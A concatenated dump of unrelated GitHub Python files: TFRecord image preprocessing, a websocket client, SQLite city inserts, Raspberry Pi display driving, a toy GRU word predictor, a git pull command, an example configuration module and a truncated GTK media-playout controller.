get_path(class_path[index])\r\n        print(class_label)\r\n        for i in range(len(img_path)):\r\n            best_counter += 1\r\n            if best_counter % 100 == 0:\r\n                print(\"已经处理\", best_counter, \"个\")\r\n            if best_counter % bestnum == 0:\r\n                recordfilenum += 1\r\n                tfrecord_p = tf_path + '\\\\' + ('train.tfrecord-%.2d' % recordfilenum)\r\n                tfrecord_writer = tf.python_io.TFRecordWriter(tfrecord_p)\r\n\r\n            img = cv.imread(img_path[i], 1)\r\n            img1 = cv.resize(img, (IMAGE_WIDTH, IMAGE_HIGTH), 0, 0, cv.INTER_LINEAR)\r\n            img1 = img1 / 255.0\r\n            img_raw = img1.tostring()\r\n            example = tf.train.Example(features=tf.train.Features(feature={\r\n                'label': _int64_feature(index),\r\n                'image_raw': _bytes_feature(img_raw)\r\n            }))\r\n            tfrecord_writer.write(example.SerializeToString())\r\n    tfrecord_writer.close()\r\n\r\n\r\n# 读取tfrecords\r\ndef read_tfrecords(path):\r\n    files = tf.train.match_filenames_once(path)\r\n    filename_sqeue = tf.train.string_input_producer(files, shuffle=True)\r\n    reader = tf.TFRecordReader()\r\n    _, serialized_example = reader.read(filename_sqeue)\r\n    features = tf.parse_single_example(serialized_example,\r\n                                       features={\r\n                                           'label': tf.FixedLenFeature([], tf.int64),\r\n                                           'image_raw': tf.FixedLenFeature([], tf.string)\r\n                                       })\r\n    image = tf.decode_raw(features['image_raw'], tf.float64)\r\n    label = features['label']\r\n    imaged = tf.reshape(image, [IMAGE_HIGTH, IMAGE_WIDTH, IMAGE_CHANNELS])\r\n    imaged = imaged * 255.0\r\n\r\n    min_after_dequeue = 1000\r\n    capacity = min_after_dequeue + BATCH_SIZE * 3\r\n    image_batch0, label_batch0 = tf.train.shuffle_batch(\r\n        [imaged, label], batch_size=BATCH_SIZE,\r\n        capacity=capacity, min_after_dequeue=min_after_dequeue)\r\n\r\n    with tf.Session() as sess:\r\n        sess.run((tf.global_variables_initializer(), tf.local_variables_initializer()))\r\n        coord = tf.train.Coordinator()\r\n        threads = tf.train.start_queue_runners(sess=sess, coord=coord)\r\n\r\n        num = 0\r\n        for i in range(10):\r\n            image_batch, label_batch = sess.run([image_batch0, label_batch0])\r\n            label_one_hot = np.zeros((BATCH_SIZE, 2), dtype=float)\r\n            for j in range(len(label_batch)):\r\n                label_one_hot[j, label_batch[j]] = 1.0\r\n                print(label_one_hot[j])\r\n                cv.imwrite(r'l:\\ver'+'\\\\'+str(label_one_hot[j])+'_'+str(num)+'.jpg', image_batch[j])\r\n                num += 1\r\n            # print(sess.run([image,label,high,width]))\r\n\r\n        coord.request_stop()\r\n        coord.join(threads)\r\n\r\n\r\ndef main():\r\n    orig_path = r'L:\\train_data'                    # 图像数据原始地址\r\n    tfrecord_path = r\"L:\\train_tfrecords\"           # 保存的 tfrecord 路径\r\n    generate_tfrecords(orig_path, tfrecord_path)    # 生成 tfrecord 模型\r\n    \r\n    # tfrcord 路径\r\n    tfrecord_files = r\"L:\\train_tfrecords\\train.tfrecord-*\"\r\n    # read_tfrecords(tfrecord_files)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"shangranli/video_label","sub_path":"generate_tfrecords.py","file_name":"generate_tfrecords.py","file_ext":"py","file_size_in_byte":4647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72966499572","text":"# encoding=UTF-8\n\nimport threading\nimport time\nimport sys\nimport traceback\nimport select\nimport inspect\nimport logging\n\nfrom websocket_abnf import ABNF\nfrom websocket_exceptions import *\nfrom websocket_core import WebSocket, getdefaulttimeout, logger\n\nclass WebSocketApp(object):\n\n    def __init__(self, url, header = [],\n                 on_open = None, on_message = None, on_error = None,\n                 on_close = None, on_ping = None, on_pong = None,\n                 on_cont_message = None,\n                 keep_running = True, get_mask_key = None, cookie = None,\n                 subprotocols = None):\n        \"\"\"\n        url: websocket url.\n        header: custom header for websocket handshake.\n        on_open: callable object which is called at opening websocket.\n          this function has one argument. The arugment is this class object.\n        on_message: callbale object which is called when received data.\n          on_message has 2 arguments.\n          The 1st arugment is this class object.\n          The passing 2nd arugment is utf-8 string which we get from the server.\n        on_error: callable object which is called when we get error.\n          on_error has 2 arguments.\n          The 1st arugment is this class object.\n          The passing 2nd arugment is exception object.\n        on_close: callable object which is called when closed the connection.\n          this function has one argument. The arugment is this class object.\n        on_cont_message: callback object which is called when recieve continued frame data.\n          on_message has 3 arguments.\n          The 1st arugment is this class object.\n          The passing 2nd arugment is utf-8 string which we get from the server.\n          The 3rd arugment is continue flag. if 0, the data continue to next frame data\n        keep_running: a boolean flag indicating whether the app's main loop should\n          keep running, defaults to True\n        get_mask_key: a callable to produce new mask keys, see the WebSocket.set_mask_key's\n          docstring for more information\n        subprotocols: array of available sub protocols. default is None.\n        \"\"\"\n        self.url = url\n        self.header = header\n        self.cookie = cookie\n        self.on_open = on_open\n        self.on_message = on_message\n        self.on_error = on_error\n        self.on_close = on_close\n        self.on_ping = on_ping\n        self.on_pong = on_pong\n        self.on_cont_message = on_cont_message\n        self.keep_running = keep_running\n        self.get_mask_key = get_mask_key\n        self.sock = None\n        self.last_ping_tm = 0\n        self.subprotocols = subprotocols\n\n    def send(self, data, opcode = ABNF.OPCODE_TEXT):\n        if not self.sock or self.sock.send(data, opcode) == 0:\n            raise WebSocketConnectionClosedException()\n\n    def close(self):\n        self.keep_running = False\n        if self.sock:\n            self.sock.close()\n\n    def _send_ping(self, interval, event):\n        while not event.wait(interval):\n            self.last_ping_tm = time.time()\n            if self.sock:\n                self.sock.ping()\n\n    def _callback(self, callback, *args):\n        if callback:\n            try:\n                callback(self, *args)\n            except Exception as e:\n                logger.error(e)\n                if logger.isEnabledFor(logging.DEBUG):\n                    _, _, tb = sys.exc_info()\n                    traceback.print_tb(tb)\n\n    def _get_close_args(self, data):\n        if not self.on_close or len(inspect.getargspec(self.on_close).args):\n            return []\n\n        if data and len(data) >= 2:\n            code = 256 * data[0] + data[1]\n            reason = data[2:].decode('utf-8')\n            return [code, reason]\n\n        return [None, None]\n\n    def run_forever(self, sockopt = None, sslopt = None, ping_interval = 0, ping_timeout = None,\n                    http_proxy_host = None, http_proxy_port = None, http_no_proxy = None, http_proxy_auth = None):\n        if not ping_timeout or ping_timeout <= 0:\n            ping_timeout = None\n        if sockopt is None:\n            sockopt = []\n        if sslopt is None:\n            sslopt = {}\n        if self.sock:\n            raise WebSocketException('socket is already opened')\n        thread = None\n        close_frame = None\n\n        try:\n            self.sock = WebSocket(self.get_mask_key, sockopt = sockopt, sslopt = sslopt,\n                                  fire_cont_frame = self.on_cont_message and True or False)\n            self.sock.settimeout(getdefaulttimeout())\n            self.sock.connect(self.url, header = self.header, cookie = self.cookie,\n                              http_proxy_host = http_proxy_host, http_proxy_port = http_proxy_port,\n                              http_no_proxy = http_no_proxy, http_proxy_auth = http_proxy_auth,\n                              subprotocols = self.subprotocols)\n            self._callback(self.on_open)\n\n            if ping_interval:\n                event= threading.Event()\n                thread = threading.Thread(target = self._send_ping, args = (ping_interval, event))\n                thread.setDeamon(True)\n                thread.start()\n\n            while self.sock.connected:\n                r, w, e = select.select((self.sock.sock, ), (), (), ping_timeout)\n                if not self.keep_running:\n                    break\n                if ping_timeout and self.last_ping_tm and time.time() - self.last_ping_tm > ping_timeout:\n                    self.last_ping_tm = 0\n                    raise WebSocketTimeoutException()\n\n                if r:\n                    op_code, frame = self.sock.recv_data_frame(True)\n                    if op_code ==  ABNF.OPCODE_CLOSE:\n                        close_frame = frame\n                        break\n                    elif op_code == ABNF.OPCODE_PING:\n                        self._callback(self.on_ping, frame.data)\n                    elif op_code == ABNF.OPCODE_PONG:\n                        self._callback(self.on_pong, frame.data)\n                    elif op_code == ABNF.OPCODE_CONT and self.on_cont_message:\n                        self._callback(self.on_cont_message, frame.data, frame.fin)\n                    else:\n                        data = frame.data\n                        if frame.opcode == ABNF.OPCODE_TEXT:\n                            data = data.decode('utf-8')\n                            self._callback(self.on_message, data)\n        except Exception as e:\n            self._callback(self.on_error, e)\n        finally:\n            if thread:\n                event.set()\n                thread.join()\n                self.keep_running = False\n            self.sock.close()\n            tmpdata = close_frame.data if close_frame else None\n            self._callback(self.on_close, *self._get_close_args(tmpdata))\n            self.sock = None\n","repo_name":"gnaggnoyil/okcoin-libinterface","sub_path":"websocket_app.py","file_name":"websocket_app.py","file_ext":"py","file_size_in_byte":6861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"19479237272","text":"import sqlite3 as sql\r\n\r\nsehirler=[\"Adana\", \"Adıyaman\", \"Afyonkarahisar\", \"Ağrı\", \"Aksaray\", \"Amasya\", \"Ankara\", \"Antalya\", \"Ardahan\", \"Artvin\", \"Aydın\", \"Balıkesir\", \"Bartın\", \"Batman\", \"Bayburt\", \"Bilecik\", \"Bingöl\", \"Bitlis\", \"Bolu\", \"Burdur\", \"Bursa\", \"Çanakkale\", \"Çankırı\", \"Çorum\", \"Denizli\", \"Diyarbakır\", \"Düzce\", \"Edirne\", \"Elazığ\", \"Erzincan\", \"Erzurum\", \"Eskişehir\", \"Gaziantep\", \"Giresun\", \"Gümüşhane\", \"Hakkâri\", \"Hatay\", \"Iğdır\", \"Isparta\", \"İstanbul\", \"İzmir\", \"Kahramanmaraş\", \"Karabük\", \"Karaman\", \"Kars\", \"Kastamonu\", \"Kayseri\", \"Kilis\", \"Kırıkkale\", \"Kırklareli\", \"Kırşehir\", \"Kocaeli\", \"Konya\", \"Kütahya\", \"Malatya\", \"Manisa\", \"Mardin\", \"Mersin\", \"Muğla\", \"Muş\", \"Nevşehir\", \"Niğde\", \"Ordu\", \"Osmaniye\", \"Rize\", \"Sakarya\", \"Samsun\", \"Şanlıurfa\", \"Siirt\", \"Sinop\", \"Sivas\", \"Şırnak\", \"Tekirdağ\", \"Tokat\", \"Trabzon\", \"Tunceli\", \"Uşak\", \"Van\", \"Yalova\", \"Yozgat\", \"Zonguldak\"]\r\n\r\ndb=sql.connect(r\"C:\\Users\\LENOVO\\Desktop\\python_kurs\\grup0041\\bahadir\\kütüphane4.db\")#veri tabanını oluşturuduk\r\nkostebek=db.cursor() #veri tabanına işleme için gerekli komut\r\n\r\n\r\n\r\n\r\nfor i in sehirler:\r\n    kostebek.execute(f\"\"\"\r\nINSERT INTO sehirler(adi) VALUES ('{i}');\"\"\")\r\n\r\ndb.commit()\r\nkostebek.close()\r\ndb.close()\r\n\r\nprint(\"kayıt başarılı...\")\r\n\r\n","repo_name":"Bsamur/python_uygulama_ornekleri","sub_path":"NİYAZİ HOCA ÖRNEK.py","file_name":"NİYAZİ HOCA ÖRNEK.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"jv","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"6550252702","text":"# Import required libraries\nimport sys\nimport RPi.GPIO as GPIO\nimport time\n\nclass SevSegDisp():\n    \n\n# print(str(get_counter()))\n# toDisplay= str(get_counter()) # numbers and digits to display\n    def __init__(self):\n        print(\"initializing ssd\")\n        self.toDisplay = \"0000\"\n\n        self.delay = 0.005 # delay between digits refresh\n\n# --------------------------------------------------------------------\n# PINS MAPPING AND SETUP\n# selDigit activates the 4 digits to be showed (0 is active, 1 is unactive)\n# display_list maps segments to be activated to display a specific number inside the digit\n# digitDP activates Dot led\n# --------------------------------------------------------------------\n\n        self.selDigit = [14,15,18,23]\n# Digits:   1, 2, 3, 4\n\n        self.display_list = [24,25,8,7,1,12,16] # define GPIO ports to use\n#disp.List ref: A ,B ,C,D,E,F ,G\n\n        self.digitDP = 20\n#DOT = GPIO 20\n        \n        # DIGIT map as array of array ,\n        #so that arrSeg[0] shows 0, arrSeg[1] shows 1, etc\n        self.arrSeg = [[0,0,0,0,0,0,1],\\\n                  [1,0,0,1,1,1,1],\\\n                  [0,0,1,0,0,1,0],\\\n                  [0,0,0,0,1,1,0],\\\n                  [1,0,0,1,1,0,0],\\\n                  [0,1,0,0,1,0,0],\\\n                  [0,1,0,0,0,0,0],\\\n                  [0,0,0,1,1,1,1],\\\n                  [0,0,0,0,0,0,0],\\\n                  [0,0,0,0,1,0,0]]\n        \n        self.ssd_GPIO = GPIO\n\n    def gpio_init(self):\n# Use BCM GPIO references instead of physical pin numbers\n        self.ssd_GPIO.setmode(self.ssd_GPIO.BCM)\n\n        # Set all pins as output\n        self.ssd_GPIO.setwarnings(False)\n        for pin in self.display_list:\n          self.ssd_GPIO.setup(pin,self.ssd_GPIO.OUT) # setting pins for segments\n        for pin in self.selDigit:\n          self.ssd_GPIO.setup(pin,self.ssd_GPIO.OUT) # setting pins for digit selector\n        self.ssd_GPIO.setup(self.digitDP,self.ssd_GPIO.OUT) # setting dot pin\n        self.ssd_GPIO.setwarnings(True)\n\n        self.ssd_GPIO.output(self.digitDP,0) # DOT pin\n\n# --------------------------------------------------------------------\n# MAIN FUNCTIONS\n# splitToDisplay(string) split a string containing numbers and dots in\n#   an array to be showed\n# showDisplay(array) activates DIGITS according to array. An array\n#   element to space means digit deactivation\n# --------------------------------------------------------------------\n\n    def showDisplay(self, digit):\n     for i in range(0, 4): #loop on 4 digits selectors (from 0 to 3 included)\n      sel = [0,0,0,0]\n      sel[i] = 1\n      self.ssd_GPIO.output(self.selDigit, sel) # activates selected digit\n      \n#       print(\"Digit:\", digit)\n      \n      if digit[i].replace(\".\", \"\") == \".\": # space disables digit\n       self.ssd_GPIO.output(self.display_list,0)\n       continue\n      numDisplay = int(digit[i].replace(\".\", \"\"))\n      self.ssd_GPIO.output(self.display_list, self.arrSeg[numDisplay]) # segments are activated according to digit mapping\n      if digit[i].count(\".\") == 0:\n       self.ssd_GPIO.output(self.digitDP,1)\n      else:\n       self.ssd_GPIO.output(self.digitDP,0)\n      time.sleep(self.delay)\n\n    def splitToDisplay (self, toDisplay): # splits string to digits to display\n     \n#      print(\"toDisplay:\", toDisplay)\n     \n     arrToDisplay=list(toDisplay)\n     for i in range(len(arrToDisplay)):\n      if arrToDisplay[i] == \".\": arrToDisplay[(i-1)] = arrToDisplay[(i-1)] + arrToDisplay[i] # dots are concatenated to previous array element\n     while \".\" in arrToDisplay: arrToDisplay.remove(\".\") # array items containing dot char alone are removed\n     \n#      print(\"ArrToDisplay:\", arrToDisplay)\n     \n     return arrToDisplay\n\n    # --------------------------------------------------------------------\n    # MAIN LOOP\n    # persistence of vision principle requires that digits are powered\n    #   on and off at a specific speed. So main loop continuously calls\n    #   showDisplay function in an infinite loop to let it appear as\n    #   stable numbers display\n    # --------------------------------------------------------------------\n\n    def SSD_show(self, displayvar):\n        try:\n         self.gpio_init()\n         if displayvar is None or displayvar == \"\":\n             print(\"Displayvar is None\")\n             displayvar = \"0000\"\n         print(\"Displayvar:\", displayvar)\n         while True:\n             self.showDisplay(self.splitToDisplay(displayvar))\n             time.sleep(0.01)\n             \n             \n        except KeyboardInterrupt:\n         print('interrupted!')\n         self.ssd_GPIO.cleanup()\n        sys.exit()\n        #copytest1\n\n\n","repo_name":"PaulAtiksh16/Cense","sub_path":"static/ssd_folder/seg4DigitDisplay.py","file_name":"seg4DigitDisplay.py","file_ext":"py","file_size_in_byte":4631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5268628926","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n\n# lstm = nn.LSTM(3, 3)  # Input dim is 3, output dim is 3\n# inputs = [torch.randn(1, 3) for _ in range(5)]\n# # print(inputs)\n# hidden = (torch.rand(1, 1, 3), torch.rand(1, 1, 3))\n# # for i in inputs:\n# #     out, hidden = lstm(i.view(1, 1, 3), hidden)\n\n# out, hidden = lstm(torch.cat(inputs).view(-1, 1, 3), hidden)\n\n# print(\"hidded:\", hidden)\n# print(\"Out:\", out)\n\ntraining_data = [\n    \"A lovely day, isn’t it\".split(),\n    \"Do I have to\".split(),\n    \"Can I help you\".split(),\n    \"How are things going\".split(),\n    \"Any thing else\".split(),\n    \"Are you kidding\".split(),\n    \"Are you sure\".split(),\n    \"Do you understand me\".split(),\n    \"Are you done\".split(),\n    \"Can I ask you something\".split(),\n    \"Can you please repeat that\".split(),\n    \"Did you get it\".split(),\n]\n\n# print(training_data)\n\nword_to_ix = {}\nfor sent in training_data:\n    for word in sent:\n        if word not in word_to_ix:  # word has not been assigned an index yet\n            word_to_ix[word] = len(word_to_ix)  # Assign each word with a unique index\nprint(\"len(word_to_ix):\", len(word_to_ix))\n\n# print(HOTVECTOR)\ndef prepare_sequence(seq, to_ix=word_to_ix):\n    idxs = [to_ix[w] for w in seq]\n    return torch.tensor(idxs, dtype=torch.long)\n\n# print(prepare_sequence(training_data[2]))\n\nEMBEDDING_DIM = HIDDEN_DIM = len(word_to_ix)\nclass LSTMTagger(nn.Module):\n    def __init__(self, embedding_dim, hidden_dim, vocab_size):\n        super(LSTMTagger, self).__init__()\n        self.hidden_dim = hidden_dim\n        self.embedding_dim = embedding_dim\n        self.word_embeddings = nn.Embedding(vocab_size, embedding_dim)\n        self.rnn = nn.GRU(embedding_dim, hidden_dim)\n\n    def forward(self, sentence):\n        embeds = self.word_embeddings(sentence)\n        lstm_out, _ = self.rnn(embeds.view(-1, 1, self.embedding_dim))\n        return lstm_out\n\nmodel = LSTMTagger(EMBEDDING_DIM, HIDDEN_DIM, len(word_to_ix))\nloss_function = nn.CrossEntropyLoss()\noptimizer = optim.SGD(model.parameters(), lr=0.1)\nMODEL_PATH = \"./lstm_wordprediction.pt\"\ntry:\n    model.load_state_dict(torch.load(MODEL_PATH))\n    print(\"Model parameters were loaded from:\", MODEL_PATH)\nexcept:\n    pass\n\nwith torch.no_grad():\n    inputs = prepare_sequence(training_data[0], word_to_ix)\n    print(\"inputs.shape:\", inputs.shape)\n    output = model(inputs[:-1]) # Feed the model of N-1 words and expect the last word\n    print(\"Expected word index:\", inputs[-1])\n    print(\"Output word index:\", output[-1].argmax(1))\n\nfor epoch in range(300):\n    for sentence in training_data:\n        model.zero_grad()\n        sentence_in = prepare_sequence(sentence, word_to_ix)\n\n        sentence_out = model(sentence_in[:-1]) # input 0 to N-1 words, and train the model to generate 1 to N\n        labels = sentence_in[1:]\n        loss = loss_function(sentence_out.view(len(sentence_out),-1), labels) # Train the model to generate 1 to N\n        loss.backward()\n        optimizer.step()\n    print(f\"loss: {loss:>7f}\")\n\ntorch.save(model.state_dict(), MODEL_PATH)\n\nwith torch.no_grad():\n    correctSeq = 0\n    for sentence in training_data:\n        inputs = prepare_sequence(sentence, word_to_ix)\n        output = model(inputs[:-1]) # Feed the model of N-1 words and expect the last word\n        # print(\"Expected word index:\", inputs[-1].argmax(0))\n        # print(\"Output word index:\", output[-1].argmax(1))\n        correctSeq +=1 if inputs[-1] == output[-1].argmax(1) else 0\n    print(\"Accuracy:\", correctSeq / len(training_data))\n\n","repo_name":"mmbahnasy/NeuralNetworkTutorial","sub_path":"lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15627095490","text":"import logging\nimport os\nfrom posixpath import join\nimport subprocess\n\nfrom opp import subcommands\n\nlogger = logging.getLogger(__name__)\npull_parser = subcommands.add_parser('pull')\npull_parser.add_argument('repository',\n                         help='<vendor>/<repo> path. e.g.: bencord0/opp')\npull_parser.add_argument('--mirror', '-m',\n                         default='https://github.com',\n                         help='Base url to pull from')\npull_parser.add_argument('--path', default=None,\n                         help='directory to clone the repostoy too')\n\ndef pull(args):\n    logger.info('pull: {}'.format(args))\n\n    path = args.path or args.repository\n    if os.path.exists(path):\n        os.chdir(path)\n        subprocess.check_call(['git', 'pull'])\n\n    else:\n        clone_command = [\n            'git', 'clone', join(args.mirror, args.repository), path]\n        subprocess.check_call(clone_command)\n","repo_name":"bencord0/opp","sub_path":"opp/commands/pull.py","file_name":"pull.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73586202292","text":"import os\nfrom pathlib import Path\nimport urllib.parse\n\nimport pyodbc\nfrom dotenv import load_dotenv, find_dotenv\n\nload_dotenv()\n\ndefault_mssql_driver = None\nfor available_driver in pyodbc.drivers():\n    if available_driver.find('SQL SERVER'):\n        default_mssql_driver = available_driver\n\n\ndef get_project_root() -> Path:\n    return Path(os.path.dirname(os.path.abspath(__file__)))\n\n\nPROJECT_ROOT = get_project_root()\n\n\n# Validation of configs\ndef is_valid():\n    for validator in VALIDATORS:  # Validators found at bottom of file\n        validator()\n\n\ndef validate_able_to_find_dotenv_file():\n    if find_dotenv() == '':\n        raise NotConfiguredCorrectlyError(\n            f'No .env file found. Refer to Readme.md for proper configuration. '\n            f'Locations looked at started here {__file__}'\n        )\n\n\n# Settings that effect behavior\ndef get_authorization_usage_status() -> bool:\n    use_auth = os.getenv('USE_AUTH', True)\n    if use_auth in ['False', 'false', '0']:\n        return False\n    return bool(use_auth)\n\n\ndef get_testing_status() -> bool:\n    testing = os.getenv('CI', False)\n    if testing is False:\n        return False\n    if testing.lower() in ['false', '0']:\n        return False\n    return bool(testing)\n\n\n# Settings that effect locations\ndef get_mssql_uri() -> str:\n    user = os.getenv('MSSQL_USER', None)\n    password = os.getenv('MSSQL_PASSWORD', None)\n    server = os.getenv('MSSQL_SERVER', 'production')\n    database = os.getenv('MSSQL_DATABASE', 'custom')\n    driver = urllib.parse.quote_plus(os.getenv('MSSQL_DRIVER', default_mssql_driver))\n    return f'mssql+pyodbc://{user}:{password}@{server}/{database}?driver={driver}'\n\n\ndef validate_mssql_uri() -> None:\n    database_uri = get_mssql_uri().lower()\n    if r'mssql+pyodbc://none:none' in database_uri:\n        raise NotConfiguredCorrectlyError(f'MSSQL url .env variables not set correctly please refer to Readme.md')\n    if 'production' in database_uri and get_testing_status():\n        raise NotConfiguredCorrectlyError(\n            'Set Database to something other than production. Tests remove all data in the database'\n        )\n\n\ndef get_logging_folder() -> Path:\n    logging_folder = os.getenv('LOGGING_FOLDER', PROJECT_ROOT)\n    return Path(logging_folder)\n\n\ndef get_load_file_save_location() -> Path:\n    save_location = os.getenv('BATCH_LOAD_FILE_SAVE_LOCATION', PROJECT_ROOT)\n    return Path(save_location)\n\n\ndef get_connect_remittance_hot_folder() -> Path:\n    hot_folder = os.getenv('CONNECT_REMITTANCE_HOT_FOLDER', PROJECT_ROOT)\n    return Path(hot_folder)\n\n\ndef get_email_host_and_port() -> dict:\n    host = os.getenv('EMAIL_HOST', 'mailhog')\n    port = 1025 if host in ('mailhog', '127.0.0.1') else 25\n    http_port = 8025\n    return {'host': host, 'port': port, 'http_port': http_port}\n\n\ndef get_import_je_save_location() -> Path:\n    save_location = os.getenv('IMPORT_JE_SAVE_LOCATION', PROJECT_ROOT)\n    return Path(save_location)\n\n\n# HTTP Settings\ndef get_flask_secret_key():\n    secret_key = os.getenv('FLASK_SECRET_KEY', b'\\x91\\x909\\x1aO\\x12a\\xd6N\\x14(\\x9c\\x93[6E')\n    return secret_key\n\n\ndef validate_flask_secret_key():\n    testing = get_testing_status()\n    secret_key = get_flask_secret_key()\n    unsecure_flask_key = b'\\x95\\x907\\x1aO\\x12a\\xd6N\\x14(\\x9c\\x93[6E'\n    if not testing and secret_key == unsecure_flask_key:\n        raise NotConfiguredCorrectlyError(f'Set a secure flask key when in production. Please refer to Readme.md')\n        \n\ndef get_url_prefix():\n    prefix = os.getenv('URL_PREFIX', '/')\n    if prefix[0] != '/':\n        prefix = '/' + prefix\n    if prefix[-1] != '/':\n        prefix = prefix + '/'\n    return prefix\n\n\ndef get_url_root():\n    url_root = os.getenv('URL_ROOT', 'http://127.0.0.1')\n    if url_root[-1] == '/':\n        return url_root[:-1]\n    return url_root\n\n\ndef validate_url_root():\n    url_root = get_url_root()\n    http_part = url_root[:8]\n    if 'https://' not in http_part and 'http://' not in http_part:\n        raise NotConfiguredCorrectlyError(\n            f'The URL root should include either http:// or https:// at the beginning. Current value is {url_root}'\n        )\n    testing = get_testing_status()\n    if not testing and ('127.0.0.1' in url_root or '0.0.0.0' in url_root):\n        raise NotConfiguredCorrectlyError(f'Url root must be specified in production. Current value is {url_root}')\n\n\nVALIDATORS = [\n    validate_able_to_find_dotenv_file,\n    validate_mssql_uri,\n    validate_flask_secret_key,\n    validate_url_root,\n]\n\n\nclass NotConfiguredCorrectlyError(ValueError):\n    pass\n","repo_name":"daniel-butler/guide","sub_path":"example_config.py","file_name":"example_config.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"99560074","text":"from Controller import Controller\nfrom model import ModelManager, Models\nfrom FileDialogController import FileDialogController\nfrom view.FileDialogView import FileDialogView\nimport Smelted_Settings\nfrom gi.repository import GObject, Gtk\nimport os\nimport math\n\n\nclass MainInterfaceController(Controller):\n\n\tmelted_telnet_controller = None\n\tmain_controller = None\n\tfile_dialog_controller = None\n\n\tplaylist_list_store = None\n\tunit_list_store = None\n\tend_event_list_store = None\n\n\tend_event_list_items = None\n\n\tunit_tree_view = None\n\tplaylist_tree_view = None\n\n\tin_slider_view = None\n\tout_slider_view = None\n\tin_slider_label_view = None\n\tout_slider_label_view = None\n\n\trefreshing_clips = False\n\n\tprogress_label = None\n\n\tdef __init__(self, main_controller, melted_telnet_controller):\n\t\tself.main_controller = main_controller\n\t\tself.melted_telnet_controller = melted_telnet_controller\n\n\tdef on_view_added(self, view):\n\t\tself.view.window.set_title(Smelted_Settings.program_title)\n\t\tself.playlist_list_store = self.view.builder.get_object(\"playlist_list_store\")\n\t\tself.unit_list_store = self.view.builder.get_object(\"unit_list_store\")\n\t\tself.unit_tree_view = self.view.builder.get_object(\"unit_tree_view\")\n\t\tself.playlist_tree_view = self.view.builder.get_object(\"playlist_tree_view\")\n\t\tself.progress_label = self.view.builder.get_object(\"progress_label\")\n\n\t\tself.in_slider_view = self.view.builder.get_object(\"in_slider\")\n\t\tself.out_slider_view = self.view.builder.get_object(\"out_slider\")\n\n\t\tself.in_slider_label_view = self.view.builder.get_object(\"in_slider_label\")\n\t\tself.out_slider_label_view = self.view.builder.get_object(\"out_slider_label\")\n\n\t\t# create combo box column on playlist tree view, should be moved to view if time allows\n\t\tend_event_list_store = Gtk.ListStore(str)\n\t\tself.end_event_list_items = [\"Stop\", \"Loop\", \"Continue\", \"Pause\"]\n\t\tfor item in self.end_event_list_items:\n\t\t\tend_event_list_store.append([item])\n\n\t\trenderer_combo = Gtk.CellRendererCombo()\n\t\trenderer_combo.set_property(\"editable\", True)\n\t\trenderer_combo.set_property(\"model\", end_event_list_store)\n\t\trenderer_combo.set_property(\"text-column\", 0)\n\t\trenderer_combo.set_property(\"has-entry\", False)\n\t\trenderer_combo.connect(\"edited\", self.on_combo_changed)\n\n\t\tcolumn_combo = Gtk.TreeViewColumn(\"Unit Ended Event\", renderer_combo, text=1)\n\t\tself.unit_tree_view.append_column(column_combo)\n\n\t\tModelManager.register_on_model_added_callback(self.refresh_clips, ModelManager.MODEL_CLIP)\n\t\tModelManager.register_on_model_added_callback(self.add_unit, ModelManager.MODEL_UNIT)\n\t\tModelManager.register_on_model_list_emptied_callback(self.remove_units, ModelManager.MODEL_UNIT)\n\n\t\tModelManager.register_on_attribute_changed_callback(self.update_seek_progress, Models.Clip.CLIP_PROGRESS)\n\n\tdef add_file_handler(self, paths):\n\t\tif len(paths) > 0:\n\t\t\tpath = paths[0]\n\t\t\tself.melted_telnet_controller.append_clip_to_queue(Smelted_Settings.current_unit, path)\n\t\t\tself.main_controller.get_units_controller().find_clips_on_unit(Smelted_Settings.current_unit)\n\t\telse:\n\t\t\tprint(\"No file selected\")\n\n\tdef play_handler(self):\n\t\tself.melted_telnet_controller.play_clip(Smelted_Settings.current_unit)\n\n\tdef pause_handler(self):\n\t\tself.melted_telnet_controller.pause_clip(Smelted_Settings.current_unit)\n\n\tdef stop_handler(self):\n\t\tself.melted_telnet_controller.stop_clip(Smelted_Settings.current_unit)\n\n\tdef next_clip_handler(self):\n\t\tself.melted_telnet_controller.next_clip(Smelted_Settings.current_unit)\n\n\tdef previous_clip_handler(self):\n\t\tself.melted_telnet_controller.previous_clip(Smelted_Settings.current_unit)\n\n\tdef remove_clip(self):\n\t\tmodel, list_iter = self.playlist_tree_view.get_selection().get_selected()\n\t\tif list_iter is None:\n\t\t\treturn\n\t\tfor item in model.get_path(list_iter):\n\t\t\tself.melted_telnet_controller.remove_clip(Smelted_Settings.current_unit, item)\n\t\t\tself.main_controller.get_units_controller().find_clips_on_unit(Smelted_Settings.current_unit)\n\n\tdef new_activated_handler(self):\n\t\tself.main_controller.get_units_controller().clean_units()\n\n\tdef loop_handler(self, active):\n\t\tif active:\n\t\t\tself.melted_telnet_controller.loop_clip(Smelted_Settings.current_unit)\n\t\telse:\n\t\t\tself.melted_telnet_controller.stop_looping_clip(Smelted_Settings.current_unit)\n\n\tdef seek_bar_button_release_handler(self, percent):\n\t\tself.melted_telnet_controller.goto_position_clip(Smelted_Settings.current_unit, percent)\n\n\tdef import_playlist_button_clicked(self):\n\t\tfile_dialog_controller = FileDialogController()\n\t\tFileDialogView(file_dialog_controller)\n\t\tfile_dialog_controller.show_open_dialog(self.main_controller.get_playlist_file_controller().import_playlist)\n\n\tdef export_playlist_button_clicked(self):\n\t\tfile_dialog_controller = FileDialogController()\n\t\tFileDialogView(file_dialog_controller)\n\t\tfile_dialog_controller.show_save_dialog(self.main_controller.get_playlist_file_controller().export_playlist)\n\n\tdef 